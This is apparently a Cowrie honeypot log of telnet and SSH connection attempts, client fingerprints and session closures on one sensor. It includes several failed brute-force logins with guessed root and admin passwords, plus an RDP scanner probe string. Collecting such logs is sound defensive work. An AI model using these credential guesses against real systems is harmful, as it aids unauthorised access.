{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35684,"dst_ip":"10.17.0.5","dst_port":23,"session":"81080425b72b","protocol":"telnet","message":"New connection: 192.119.13.58:35684 (10.17.0.5:23) [session: 81080425b72b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:00.317029Z"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:00.456722Z","src_ip":"116.110.11.66","session":"11ee6b5da5ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40872,"dst_ip":"10.17.0.5","dst_port":23,"session":"24cb1bf48383","protocol":"telnet","message":"New connection: 192.119.13.58:40872 (10.17.0.5:23) [session: 24cb1bf48383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:01.555181Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47134,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f6a09fd55f3","protocol":"telnet","message":"New connection: 192.119.13.58:47134 (10.17.0.5:23) [session: 2f6a09fd55f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:02.989637Z"}
{"eventid":"cowrie.session.closed","duration":5.077493667602539,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:03.570392Z","src_ip":"192.119.13.58","session":"ee40b412f710","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0l0ctyQh243O63uD","message":"login attempt [admin/0l0ctyQh243O63uD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:04.982909Z","src_ip":"116.110.11.66","session":"11ee6b5da5ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:06.652106Z","src_ip":"116.110.11.66","session":"11ee6b5da5ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.62360191345215,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:07.841488Z","src_ip":"192.119.13.58","session":"1d8e0821d43d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42528,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca0d80df9600","protocol":"telnet","message":"New connection: 192.119.13.58:42528 (10.17.0.5:23) [session: ca0d80df9600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:08.666600Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.226.124","src_port":27050,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0c3f1f3968e","protocol":"ssh","message":"New connection: 115.68.226.124:27050 (10.17.0.5:22) [session: f0c3f1f3968e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:11.143174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:11.149687Z","src_ip":"115.68.226.124","session":"f0c3f1f3968e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53156,"dst_ip":"10.17.0.5","dst_port":23,"session":"c95320bd5a09","protocol":"telnet","message":"New connection: 192.119.13.58:53156 (10.17.0.5:23) [session: c95320bd5a09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:11.224876Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:11.403515Z","src_ip":"115.68.226.124","session":"f0c3f1f3968e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56792,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd9d51a38dfb","protocol":"telnet","message":"New connection: 192.119.13.58:56792 (10.17.0.5:23) [session: dd9d51a38dfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:12.113762Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd5678","message":"login attempt [root/abcd5678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:12.486013Z","src_ip":"115.68.226.124","session":"f0c3f1f3968e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:13.743944Z","src_ip":"115.68.226.124","session":"f0c3f1f3968e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36808,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef4e9c17aeef","protocol":"telnet","message":"New connection: 192.119.13.58:36808 (10.17.0.5:23) [session: ef4e9c17aeef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:14.013619Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46846,"dst_ip":"10.17.0.5","dst_port":23,"session":"b14b5f91a6a3","protocol":"telnet","message":"New connection: 192.119.13.58:46846 (10.17.0.5:23) [session: b14b5f91a6a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:17.394531Z"}
{"eventid":"cowrie.session.closed","duration":35.100038051605225,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:20.254327Z","src_ip":"192.119.13.58","session":"855d2ab0d439","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":61666,"dst_ip":"159.203.135.109","dst_port":22,"session":"34079f086946","protocol":"ssh","message":"New connection: 167.172.81.52:61666 (159.203.135.109:22) [session: 34079f086946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:21.544905Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:21.641175Z","src_ip":"167.172.81.52","session":"34079f086946","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:21.652789Z","src_ip":"167.172.81.52","session":"34079f086946","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59932,"dst_ip":"10.17.0.5","dst_port":23,"session":"636e8fc5e19f","protocol":"telnet","message":"New connection: 192.119.13.58:59932 (10.17.0.5:23) [session: 636e8fc5e19f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:26.180915Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38424,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb4db4fee0de","protocol":"telnet","message":"New connection: 192.119.13.58:38424 (10.17.0.5:23) [session: cb4db4fee0de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:27.755944Z"}
{"eventid":"cowrie.session.closed","duration":41.667176723480225,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:28.091799Z","src_ip":"192.119.13.58","session":"2d15fa958ebf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40836,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d08a07300b0","protocol":"telnet","message":"New connection: 192.119.13.58:40836 (10.17.0.5:23) [session: 3d08a07300b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:28.329024Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.249.192.30","src_port":44960,"dst_ip":"10.17.0.5","dst_port":22,"session":"d64c381ab36c","protocol":"ssh","message":"New connection: 201.249.192.30:44960 (10.17.0.5:22) [session: d64c381ab36c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:28.871099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:28.892586Z","src_ip":"201.249.192.30","session":"d64c381ab36c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:28.966552Z","src_ip":"201.249.192.30","session":"d64c381ab36c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@111","message":"login attempt [root/admin@111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:29.288417Z","src_ip":"201.249.192.30","session":"d64c381ab36c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:30.662516Z","src_ip":"201.249.192.30","session":"d64c381ab36c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58664,"dst_ip":"10.17.0.5","dst_port":23,"session":"911b76e9fd54","protocol":"telnet","message":"New connection: 192.119.13.58:58664 (10.17.0.5:23) [session: 911b76e9fd54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:32.358435Z"}
{"eventid":"cowrie.session.closed","duration":41.6819543838501,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:33.683316Z","src_ip":"192.119.13.58","session":"687f6fb072b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.42083144187927,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:33.895413Z","src_ip":"192.119.13.58","session":"241a7c947553","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":33912,"dst_ip":"10.17.0.5","dst_port":22,"session":"91fd1d610bd1","protocol":"ssh","message":"New connection: 103.122.221.179:33912 (10.17.0.5:22) [session: 91fd1d610bd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:35.199690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:35.205527Z","src_ip":"103.122.221.179","session":"91fd1d610bd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:35.454905Z","src_ip":"103.122.221.179","session":"91fd1d610bd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"korova","message":"login attempt [root/korova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:36.190309Z","src_ip":"103.122.221.179","session":"91fd1d610bd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.125725746154785,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:36.889114Z","src_ip":"192.119.13.58","session":"ba6631fbb766","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:37.438842Z","src_ip":"103.122.221.179","session":"91fd1d610bd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.40920567512512,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:39.861730Z","src_ip":"192.119.13.58","session":"186afd458c11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.324647188186646,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:40.314146Z","src_ip":"192.119.13.58","session":"2f6a09fd55f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.54537343978882,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:43.100395Z","src_ip":"192.119.13.58","session":"24cb1bf48383","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49716,"dst_ip":"10.17.0.5","dst_port":23,"session":"7684177fb218","protocol":"telnet","message":"New connection: 192.119.13.58:49716 (10.17.0.5:23) [session: 7684177fb218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:43.400120Z"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":52156,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff58b54c7760","protocol":"ssh","message":"New connection: 40.83.182.122:52156 (10.17.0.5:22) [session: ff58b54c7760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:44.035986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:44.041250Z","src_ip":"40.83.182.122","session":"ff58b54c7760","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:44.115517Z","src_ip":"40.83.182.122","session":"ff58b54c7760","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0okm(IJN","message":"login attempt [root/0okm(IJN] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:44.442994Z","src_ip":"40.83.182.122","session":"ff58b54c7760","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58202,"dst_ip":"10.17.0.5","dst_port":23,"session":"a68e01783dc1","protocol":"telnet","message":"New connection: 192.119.13.58:58202 (10.17.0.5:23) [session: a68e01783dc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:45.347642Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:45.520307Z","src_ip":"40.83.182.122","session":"ff58b54c7760","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":60002,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f5e020adddf","protocol":"ssh","message":"New connection: 193.32.162.145:60002 (10.17.0.5:22) [session: 1f5e020adddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:48.171105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:48.176566Z","src_ip":"193.32.162.145","session":"1f5e020adddf","protocol":"ssh"}
